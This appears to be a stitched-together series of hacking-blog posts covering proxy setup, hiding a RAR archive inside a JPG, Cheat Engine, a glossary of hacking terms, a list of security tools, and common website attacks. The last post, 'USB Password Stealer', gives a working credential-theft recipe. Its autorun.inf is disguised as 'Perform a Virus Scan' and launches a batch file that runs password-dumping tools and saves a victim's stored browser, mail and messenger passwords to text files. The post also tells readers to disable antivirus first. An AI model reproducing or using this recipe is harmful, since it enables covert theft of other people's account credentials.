Changing IP In Firefox/Configuring Proxy

Setting in Web Browser 

Steps:-

1. First of all log on to whatismyip.com and pen down your current IP.
2. Logon to google.com and search for 'fresh proxies' you will get many sites providing you list of IPs and respective port numbers. It must be like this IP:port. Suppose logon to
http://www.digitalcybersoft.com/ProxyList/fresh-proxy-list.shtml

3. Now copy the IP and port no.
4. In Mozilla Firefox browser, go to Tools->Options->Advanced->Network->Settings. Check the option "Manual Proxy Configuration" , fill IP and port no. You can configure the proxies in any browser.
5. Check out whatismyip.com again, hopefully it must have been changed. Similarly you can configure proxies in other web browsers.

Continue Reading

Hiding Important Data Behind Images~ Learn Now

Steganography is the art and science of hiding messages, Images, Data etc. in such a way that no one, apart from the sender and intended recipient, suspects the existence of the Data- security through obscurity. By using this small and neat trick you can hide whatever data you want behind any image of your choice without reducing its quality, In the following tutorial I will show you how you can hide data behind images without using any exotic software.(Good old Winrar or Winzip is sufficient)

1. Create a folder in your C drive and name it as "hide"(Using Root Directory will make this a bit easier).

2.Now you can put anything and everything you want to hide in this folder. Text files,images,executables (ANYTHING).Also, put the image behind which you want to hide the files in the same directory, say "image.jpg".

3.After putting everything you want to hide in the "hide" folder, Right click on it, and click "Add to Hide.rar" or "Add to archive". Our goal is to create a .rar file of the "Hide" folder.
Now you should see the "hide.rar"created in the same directory along with the folder.

4. Now we need to open up command prompt and change the working root directory to your current directory and type the following commands.(First change directory then create the output file).(Remember "C" is capital in "C:\\")

►cd C:\\
►Copy /b image.jpg + hide.rar output.jpg

Here "image.jpg" is the image behind which you want to hide the rar file.
"hide.rar" is the file containing the files to be hidden.
"output.jpg" is the output file that we want. It contains the hidden files, but looks like an image

After executing the following command, we will see an extra image called "output.jpg" created in the same directory.(Note that it's size is size of image.jpg +size of hide.rar)

Now you can delete all the files except "output.jpg". If you double click the file, it opens a normal image. But you can see the hidden files by opening the file with winrar.(Right Click->Open With->Choose WinRar.)

That's It! Now you can send this image to anyone, what others will see is just a regular image but if the recipient knows, s/he will be able to access any secret information privately.This tutorial can be used for any type of files like mp3,wmv,txt etc. since anything can be put into a Rar file.
Although you may want to keep the files to be hidden as small as possible since it wouldn't be very subtle if you try hiding a 15 Gb setup file for the game 'Crysis 3' behind a 5Kb smiley picture.

Continue Reading

Cheat Engine

We will discuss here about cheat engine. What is cheat engine?? How does it works?? What are s different functions?? How it can be used. Below are answers to all the questions in your 2 kg brain may be more than 2 kg..lol just kidding .. :P 

Read On !!

Here's a seemingly atypical tutorial on "Cheat Engine". It's mainly about hacking games, but we'll see there's quite a bit more to it than just games. So, let's dive in.

First of all, what is Cheat Engine?
Cheat Engine is an open source tool designed to help you to modify (mostly) single player games so the user can make them harder or easier depending on their preference. (Example: If you find that 100HP is too easy on a particular game, you can try playing a game with a maximum 10 HP as a challenge). Cheat Engine(CE) also contains several other useful tools to help debugging and really just messing around with games and pretty much any applications.(Example: As a prank, one may alter the download speed shown in a torrent client/download manager to perhaps 100Gbps or something like that.)

CE also comes with a memory scanner to quickly scan for variables used within a game and allow you to change them, but it also comes with a debugger, disassembler, assembler, speedhack, trainer maker, direct 3D manipulation tools, system inspection tools etc. - The ultimate tool for a mischievous programmer. So, read on to find out how CE does it.

Although CE can do quite a bit more, let's take a look at an example of "hacking" a game. Now, every single application there is uses what's called "variables" to store various values. In a game, for example, the player's HP, level, ammo, position - literally everything is stored in certain variables. There could be a separate variable with values 0-100 keeping track of hit points (HP), another variable keeping track of what level the user is currently in, and perhaps three more keeping track of the X,Y,Z coordinates of the avatar or player in a 3-D game. Almost all new games these days run in cycles. What I mean by that is the game has a recurring infinite loop of some function (group of statements) that goes on and on until the player exits/pauses the game. Inside the loop, the function's code checks to see if (example) any user event has occurred. Did the user press the arrow keys? If so, then update their position accordingly. Did s/he click the left mouse button? If so, then decrease ammo by one and call the function to launch a projectile from the gun and so on. Certain aspects of games often rely completely on a particular variable and trust it to maintain a legit value. Considering that the average user may never even know about the existence of these background variables, it's a reasonably safe bet. It's just a game after all and implementing double checks, encrypted values and a sealed environment (sandbox) is simply not worth spoiling the performance and gameplay. This small point is what leaves almost every single player game vulnerable to nosy software such as Cheat Engine.

This is also the reason why CE does not (yet) work for most big online games likes RuneScape, WoW, AoC etc. since the data and any changes done to it are always double checked with the server's copy. Whatever happens at the server, stays at the server and although you could make yourself LOOK like a pro, that will be only because of your dumb browser. (I.e., Like all applications, your browser also maintains variables which can be tampered with, but that doesn't affect the server's copy)

What CE does is try to find out which variables the application is using, the addresses at which they are stored in the RAM and possibly tamper with them according to what the user(you) may want. For gamers, this tool is simply god sent. You can increase your speed in "Need for speed", get infinite ammo in "Call of Duty" and avoid killing a thousand people or typing cheat codes for money in "Grand theft Auto" and so much more.

Rewinding back, how does any of this relate to hacking? It all lies in experience. CE teaches you how to find out exactly what the problem is and how to solve it. The procedure for tampering with games is very close to what we will try to accomplish in later, more advanced hacking techniques. CE gives you the feel and thrill of cracking a seemingly impossible problem and teaches you how to look for an open window when the door is locked - which is actually a very accurate definition of hacking. CE gives you a hint, a glimpse of advanced hacking procedures to which we shall get to later on. Fair warning, in my experience I've noticed that the number one reason for beginners giving up early while learning hacking is simply because it just gets a little boring. Outside of movies, that's just the way it is. But for those willing to make the journey, the reward is more than worth it. I admit that to truly enjoy using CE, you have to be somewhat of a gamer. Hacking depends on, more than anything else, practice because practice only can give you the experience needed to truly hack like what you see in movies. (Yes, it's possible. Everything is..) CE is nowhere close to a professional hacking tool, but it's a step in the right direction (plus it's fun). For the programmers, as I mentioned before CE is open source - It's all out there waiting for you to explore. (Check out the official website given below)

This was more of an introduction than a tutorial and that's because CE comes packed up with it's own excellent tutorial for it's usage. For beginners I recommend going through the tutorial(The one that comes with CE). As easy as I've made it sound, head over to the following website to download CE and see for yourself.

http://www.cheatengine.org/

Continue Reading

Commonly Used Terms/Abbreviations In Cyber World

When It comes to internet/cyber world, there are number of abbreviations/terms expert used are listed below.
So lets start below are some frequently used words, their brief meaning and acronyms that are commonly used in the world of Hacking. Why? Because humans have gone to the moon but refuse to pick up the remote laying on the other side of the couch. Humans should be defined by laziness before intelligence. Anyways, nobody likes the new guy who needs to have everything explained to him/her. Hacking is no exception. Simply going through these common abbreviations could save you some googling time. There's nothing that you can learn, that you won't ever use. Here we go!




DDoS :- Distributed Denial of Service Attack, uses a list of reflection servers or other methods such as DNS to spoof an attack to look likeit's coming from multiple ips. Amplification of power in the attack COULD occur




VPS :- Virtual Private Sever




SE :- Social Engineering




HTTP :- Hyper Text Transfer Protocol. The foundation of data communication for the WorldWide Web.




SSH :- Secure Shell, used to connect to Virtual Private Servers.




FTP :- File Transfer Protocol. Usedfor transferring files over an FTP server.




XSS (CSS) :- Cross Site Scripting




Skid :- Script Kid/Script Kiddie




VPN :- Virtual Private Network




Nix :- Unix based operating system, usually referred tohere when referring to DDoS'in




SQL :- Structured Query Language. It usually goes along with a word after it, such as "SQL injection."




FUD :- Fully undetectable, can be used in many terms. Generally in combination with crypters, or when trying to infect someone.




LOIC/HOIC :- Tool(s) used by many anonymous members to conduct DDoS attacks. It is not recommended to use these under any circumstances.




Trojan :- A Trojan is a type of malware that masquerades as a legitimate file or helpful program with the ultimate purpose of granting a hacker unauthorized access to a computer.




Botnet :- Computers infected by worms or Trojans and taken over by hackers and brought into networks to send spam, more viruses, or launch denial of service attacks.




SQL Injection :- An SQL injection is a method often used to hack SQL databases via a website, and gain admin control of the site.




Root :- Highest permission level on a computer, able to modify anything on the system without restriction.




Warez :- Software piracy




White Hat :- A "white hat" refers to an ethical hacker, or a computer security expert, who specializes in penetration testing and in other testing methods to ensure the security of a businesses information systems. (Good guy, per se)




Rootkit :- A powerful exploit used by malware to conceal all traces that it exists. Ring3 - Can be removed easily without booting insafemode. Ring0 — Very hard to remove and very rare in the wild, these can require you to format, it's very hard to remove certain ring0 rootkits without safemode.




Script Kiddie :- A script kid, or skid is a term used to describe those who use scripts created by others to hack computer systems and websites. Used as an insult, meaning that they know nothing about hacking.




IP Grabber :- A link that grabs someone’s IP when they visit it.




VPS :- The term is used for emphasizing that the virtual machine, although running in software on the same physical computer as other customers’ virtual machines, is in many respects functionally equivalent to a separatephysical computer, is dedicated to the individual customer's needs, has the privacy of a separate physical computer, and can be configured to run server software.




Malware :- Software designed todo all kinds of evil stuff like stealing identity information, running DDoS attacks, or soliciting money from the slave.




Phreak :- Phone Freaks. Hackers who hack cell phones for free calling. Free Long distancecalling. Etc.




Bot :- A piece of malware that connects computer to an attacker commonly using the HTTPor IRC protocol to await malicous instructions.




Shell :- The common meaning here is a hacked web server with a DoS script uploaded to conduct DDoS attacks via a booter.




DOX :- Personal information about someone on the Internet usually contains real name, address, phone number, SSN, credit card number, etc.




Worm :- Software designed to spread malware with little to no human interaction.




Deface :- A website deface is an attack on a site that changes the appearance of the site or a certain webpage




Keylogger :- A software program that records all keystrokes on a computer's keyboard, used as a surveillance tool or covertly as spyware.




Remote Administration Tool :- It's a general term for a hack that can let someone remotely control your computer with admin access.




Black Hat :- The Bad guy. A Hacker that uses hacking for illegal and unethical purposes.

Continue Reading

Common Tools Used For Security/Hacking

MetaSploit - Metasploit is an framework which is used for the hacking of different kinds of applications,operating systems,web applications etc., Metasploit contains various exploits, payloads,modules etc. Metasploit Framework is especially used by many of the hackers to generate payloads and attack the systems. As Metasploit is an open source where any one can use it. This framework supports different operating systems like winodws, linux ,mac os x etc., Metasploit is preloaded in the Backtrack linux as there is no need for the backtrack users to install the metasploit again and again. IMHO, Metasploit is the single most powerful and useful tool for a wide variety of hacks. Personally, I like it so much I put it before the list of common tools. Remember this name: "Metasploit". Below are a few more extremely helpfup and common tools, sure to be found in any hacker's computer.




1. Nmap- Nmap (“Network Mapper”) is a free and open source (license) utility for network discovery and security auditing. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.




2. Wireshark- Wireshark is a network protocol analyzer. It lets you capture and interactively browse the traffic running on a computer network.




3. Metasploit Community edition- Metasploit Community Edition simplifies network discovery and vulnerability verification for specific exploits, increasing the effectiveness of vulnerability scanners. This helps prioritize remediation and eliminate false positives, providing true security risk intelligence.




4. Nikto2- Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6400 potentially dangerous files/CGIs, checks for outdated versions of over 1200 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software.




5. John the Ripper- John the Ripper is a fast password cracker, currently available for many flavors of Unix, Windows, DOS, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix systems, supported out of the box are Windows LM hashes, plus lots of other hashes and ciphers in the community-enhanced version.




6. ettercap- Ettercap is a comprehensive suite for man in the middle attacks. It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols and includes many features for network and host analysis.




7. NexPose Community edition- The Nexpose Community Edition is a free, single-user vulnerability management solution. Nexpose Community Edition is powered by the same scan engine as Nexpose Enterprise and offers many of the same features.




8. Ncat- Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable Netcat. It uses both TCP and UDP for communication and is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses.




9. Kismet- Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and (with appropriate hardware) can sniff 802.11b, 802.11a, 802.11g, and 802.11n traffic. Kismet also supports plugins which allow sniffing other media such as DECT.




10. w3af- w3af is a Web Application Attack and Audit Framework. The project’s goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend.




11. hping- hping is a command-line oriented TCP/IP packet assembler/analyzer. The interface is inspired to the ping(8) unix command, but hping isn’t only able to send ICMP echo requests. It supports TCP, UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to send files between a covered channel, and many other features.




12. burpsuite- Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities.




13. THC-Hydra- A very fast network logon cracker which support many different services.




14. sqlmap- sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.




15. webscarab- WebScarab has a large amount of functionality, and as such can be quite intimidating to the new user. But, for the simplest case, intercepting and modifying requests and responses between a browser and HTTP/S server, there is not a lot that needs to be learned.

Since we are anti-hackers to keep you safe from the latest flaws/attacks/vulnerabilities. the above information are for security/educational purpose only.

Continue Reading

Types Of Website Vulnarbilities/Risks

Hacking is a growing threat for every business both large and small. Whether it’s stealing private data, taking control of your computer, or shutting down your website, hackers can seriously impact any business, at any time in a number of ways.




Hacking Websites is one of the most the common techniques used by BlackHats and also Hacktivists. Whether by DDOSing or Remote File Inclusion Hacking websites offers the Hacking group or indivisual immense exposure, popularity and supposedly fame. There exist numerous ways to take control of or bring down a website. Below I discuss the ten most popular ways they can threaten the security of your site, and your business. These hacks alone account for over 90% of all Website Hacking Techniques: (It's a long one, so make yourselves comfortable)




10. INJECTION ATTACKS

Injection attacks occurs when there are flaws in your SQL Database, libraries, or even the operating system itself. When exceptions are not properly accounted for, say whether password checking isn't rigorous enough- Hackers can use this to obtain access to confidential information by fooling the system. They might gain unauthorized access to private data such as social security numbers, credit card number or other financial data.Injection attacks like SQL injection could have surprisingly commands and methods to access vital databases. SQL uses very simple queries to obtain information requested by users, which makes for a relatively easy hack.




9. CROSS SITE SCRIPTING ATTACKS

Cross Site Scripting, also known as an XSS attack, occurs when an application, URL-“get request”, or file packet is sent to the web browser window bypassing the validation process. Once an XSS script is triggered, it’s deceptive property makes users believe that the compromised page of a specific website is legitimate even though it has been compromised.

For example, say a website has an XSS script in it, the user might see a popup window asking for their contact information and other sensitive data, even though the actually website may not have anything to do with it.




In another example, the hacker might run commands cause the user’s session ID to be sent to the attacker’s website, allowing the hacker to hijack the user’s current session. That is, he may then be able to use this cookie to make the browser think that he is actually his victim and get complete and unrestricted access to his account (A form of identity theft).




8. BROKEN AUTHENTICATION AND SESSION MANAGEMENT ATTACKS

If the user authentication system of your website is weak, hackers might be able to take full advantage. Authentication systems involve passwords, key management, session IDs, and cookies that can allow a hacker to access your account from any computer (as long as they are valid).




If a hacker exploits the authentication and session management system, they can assume the user’s identity. (This is similar to the last one - XSS) Ask yourself these questions to find out if a website is vulnerable to a broken authentication and session management attack:




►Are user credentials weak (e.g. stored using hashing or encryption)?

►Can credentials be guessed or overwritten through weak account management functions (e.g. account creation, change password, recover password, weak session IDs)?

►Are session IDs exposed in the URL (e.g. URL rewriting)?

►Are session IDs vulnerable to session fixation attacks?

►Do session IDs timeout and can users log out?




If you have your own website and if the answer to any of these questions is “yes”, your site could be vulnerable to a attack.




7. CLICKJACKING ATTACKS

Clickjacking, also called a UI Redress Attack, is when a hacker uses multiple opaque layers to trick a user into clicking the top layer without them knowing. What I mean by that is, the hacker is able to show his own content on a "naive" website. Perhaps an adf.ly link and he could be earning easy money. Thus the attacker is “hijacking” clicks that are not meant for the actual page, but for a page where the attacker wants you to be.




Another example, using a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led the user to believe they are typing in the password for their bank account, but are actually typing into an invisible frame controlled by the attacker. The website might function normally for the unsuspecting user, but behind the scenes their vital information will be in the hands of the attacker.




6. DNS CACHE POISONING

DNS Cache Poisoning involves old cache data that you might think you no longer have on your computer, but is actually “toxic”. Also known as DNS Spoofing, hackers can identify vulnerabilities in a domain name system, which allows them to divert traffic from legit servers to a fake website and/or servers. This form of attack can be programmed to spread and replicate itself from one DNS server to another DNS, “poisoning” everything in it’s path.




In fact, in 2010, a DNS poisoning attack completely compromised the Great Firewall of China (GFC- Yes, it's a thing) temporarily and censored certain content in the United States until the problem was fixed.




5. SOCIAL ENGINEERING ATTACKS

A social engineering attack is not technically a “hack”. When someone first finds out what exactly it is, they are surprised that it actually works. So was I, but indeed it does work.




It happens when you divulge private information in good faith, such as a credit card number, through common online interactions such as email, chat, social media sites, or virtually any website. The problem, of course, is that you’re not getting into what you think you’re getting into.




A classic example of a social engineering attack is the popular “Microsoft tech support” scam. This is when someone from a call center pretends to be a MS tech support member who says that your computer is slow and/or infected, and can be easily fixed – at a cost, of course. Considering that most computers are indeed quite slow and hang sometimes, this scam is quite well written. Of course, it need not be about money and most often it isn't. Telling someone the name of your first pet might actually be giving them complete access to your account. Surprised? This is actually one of the most common security questions.




4. SYMLINKING – AN INSIDER ATTACK

A symlink (Symbolic Link) is basically a special file that “points to” a hard link on a mounted file system. A symlinking attack occurs when a hacker positions the symlink in such a way that the user or application that access the endpoint thinks they’re accessing the right file when they’re really not.(Read that again)




If the endpoint file is an output, the consequence of the symlink attack is that it could be modified instead of the file at the intended location. Modifications to the endpoint file could include appending, overwriting, corrupting, or even changing permissions.




Meaning, the user might be doing one thing, but another is actually happening. In different variations of a symlinking attack a hacker may be able to control the changes to a file, grant themselves advanced access, insert false information, expose sensitive information or corrupt and destroy vital system databases or application files.




3. CROSS SITE REQUEST FORGERY ATTACKS

A Cross Site Request Forgery Attack happens when a user is logged into a session (or account) and a hacker uses this opportunity to send them a forged HTTP request to collect their cookie information.




In most cases, the cookie remains valid as long as the user or the attacker stays logged into the account. This is why websites ask you to log out of your account when you’re finished and close the window after logging out – it will expire the session immediately.




In other cases, once the user’s browser session is compromised, the hacker can generate requests to the application that will not be able to differentiate between a valid user and a hacker. Another identity theft- the hacker confuses the server as to who he actually is.




2. REMOTE CODE EXECUTION ATTACKS

The most devastating in the whole list, a Remote Code Execution attack is a result of either server side or client side security weaknesses.

Vulnerable components may include libraries, remote directories on a server that haven’t been monitored, frameworks, and other software modules that run on the basis of authenticated user access. Applications that use these components are always under attack through things like scripts, malware, and small command lines that extract information.




In this attack, the hacker is basically able to get complete access to the website's server itself. How is that so devastating? This gives him access to every bit and byte of information stored in the database(If the request is coming from the server itself, why would it be denied? That's what it's build for). He may also obtain access to the website's actual code that the browser then shows the user.Meaning, he could totally wipe out the website, mess with the links and buttons, show his own stuff - Sky's the limit. Plus there's usually only one way to recover - Rebuild. But this also makes for quite a complicated attack, details of which aren't suitable to be disclosed here.




1. DDOS ATTACK – DISTRIBUTED DENIAL OF SERVICE ATTACK

The most popular and most widely used,the DDoS attack (Distributed Denial of Services), is where a server or a machine’s services are made unavailable to its users.




The usual agenda of a DDoS campaign is to temporarily interrupt or completely take down a successfully running system.

The most common example of a DDoS attack could be sending tons of URL requests to a website or a webpage in a very small amount of time. This causes bottlenecking at the server side because the CPU simply runs out of resources.




Denial-of-service attacks are considered violations of the Internet Architecture Board’s Internet proper use policy, and also violate the acceptable use policies of virtually all Internet service providers- DDoSing is highly illegal.

Hence We Are Anti-Hackers, So They Above Info Are For Educational Purpose Only !

Continue Reading

USB Password Stealer

There's a lot of people in the world and even more online accounts. Every security system has a flaw and what we're going to discuss here is just that. Most people, with their eyes on the clock and not a second to spare just tick "Remember Me" on various websites without a second thought thinking it's going to save their time. This is particularly common among poeple who have a private system, maybe a Laptop that nobody else ever touches or a PC which they have locked with a password. Not knowing that there exist many tools to "recover" saved passwords (More like- to exploit exactly these naive people). Browsers store passwords and account details in cookies. What's quite surprising is just how little security they offer, even worse, none of the browsers seem to care about encrypting passwords. Most of them have an option to "Show Saved Paswords" in the options menu. We're going to cut even that out, just plug in a USB- Take it out- and Voila! we have all the passwords. That is what you'll learn in this tutorial. So, with a goal in mind and not a second to spare, let's start right away.




Things you will need (See link below):-




MessenPass - MessenPass is a password recovery tool that reveals the passwords of several common instant messenger applications.




Mail PassView - Mail PassView is a small password-recovery tool that reveals the passwords and other account details for Outlook express,windows mail,POP3 etc




IE Passview - IE passview is another small program that helps us view stored passwords in Internet explorer.




Protected storage pass viewer(PSPV) - Protected Storage PassView is a small utility that reveals the passwords stored on your computer by Internet Explorer, Outlook Express and MSN Explorer.




Password Fox - Password fox is a small program used to view Stored passwords in Mozilla Firefox. (These are the ones I've tried and tested. More like these surely exist and you can always Google it out for something possibly better. There are analogous tools for the Chrome browser too. You can find these and tons more at http://www.nirsoft.net/)




So that's that and now we are ready to create a USB password stealer.

Note: These programs tend to attract a lot of attention from antivirus softwares (Get used to this). Kindly disable your antivirus before performing these steps, at your own risk of course ;-)




1. First of all download all 5 tools in your USB. Most of them are just some .exe files (mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe). (You need the softwares completely on your pen drive. Make sure you have all the installation files in your USB[if any])




2. Create a new Notepad and write the following text into it:










[autorun]

open=launch.bat

ACTION= Perform a Virus Scan




Save the Notepad and rename it from New Text Document.txt to autorun.inf

Now copy the autorun.inf file onto your USB pendrive.




3. Create another Notepad and write the following text onto it. (Yep, still no copy-pasting allowed.)

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt




Save the Notepad and rename it from New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.




These were simple commands to start up our password "recovering" programs as soon as we plug in the USB. What we just did here is simply hook up our launch.bat batch file to the autorun.inf file that automatically runs when the computer detects the USB. In the launch.bat, we started up our programs and provided them with file names as parameters so that each program should put in the passwords in their respective .txt files.




Now your USB password stealer is ready. All you have to do is insert it in your victims computer and a popup will appear, in the popup window select the option (Perform a virus scan) as soon as you will click it, your USB password stealer will do it's magic and all the passwords saved on the system will be saved in a .txt file. I recommend you try it out on your own system first to see how it should work.

See the last line of our autorun.inf, we are simply specifying the text for the alert dialog. You can type in anything you think is the least suspicious.

This may not work on all operating systems and all different browsers. Your best bet would be to pack in as many diverse programs as you can for giving you the best chance. Also, note that the computer should not have autorun feature disabled for the USB stealer to work.

Continue Reading